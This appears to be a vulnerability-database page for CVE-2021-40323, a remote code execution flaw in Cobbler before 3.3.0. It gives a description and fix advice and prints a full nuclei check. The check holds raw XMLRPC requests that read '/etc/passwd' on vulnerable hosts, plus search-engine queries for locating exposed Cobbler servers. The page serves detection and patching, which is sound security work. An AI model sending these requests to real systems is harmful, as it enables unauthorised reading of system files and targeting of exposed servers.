Browse / CVEs / CVE-2021-40323
CVE-2021-40323· cobbler project / cobbler· CWE-94
Cobbler <3.3.0 - Remote Code Execution
criticalseverity
9.8CVSS score
86.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
Impact
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
Fix
Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
How to confirm it
Send: POST {{BaseURL}}/cobbler_api
Positive when: contains in header "text/xml" AND matches /root:.*:0/ AND status 200Run it with nuclei: nuclei -id CVE-2021-40323 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-40323
info:
name: Cobbler <3.3.0 - Remote Code Execution
author: c-sh0
severity: critical
description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
remediation: |
Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
reference:
- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
- https://github.com/cobbler/cobbler/issues/2795
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40323
cwe-id: CWE-94
epss-score: 0.86829
epss-percentile: 0.99746
cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: cobbler_project
product: cobbler
shodan-query: http.title:"cobbler web interface"
fofa-query: title="cobbler web interface"
google-query: intitle:"cobbler web interface"
tags: cve,cve2021,cobbler,rce,cobbler_project,vuln
http:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>find_profile</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>name</name>
<value>
<string>*</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>generate_script</methodName>
<params>
<param>
<value>
<string>{{profile}}</string>
</value>
</param>
<param>
<value>
<string></string>
</value>
</param>
<param>
<value>
<string>/etc/passwd</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'text/xml'
- type: regex
regex:
- "root:.*:0"
- "bin:.*:1"
- "nobody:.*:99"
condition: or
- type: status
status:
- 200
extractors:
- type: regex
name: profile
group: 1
regex:
- '<value><string>(.*?)</string></value>'
internal: trueReferences
- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
- https://github.com/cobbler/cobbler/issues/2795
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
Use this check only on systems you are authorised to test. Where the data comes from